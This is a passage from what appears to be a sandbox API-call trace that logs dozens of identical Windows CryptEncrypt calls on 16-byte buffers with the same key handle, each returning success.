(in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.498] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.499] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.500] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.501] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.502] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, 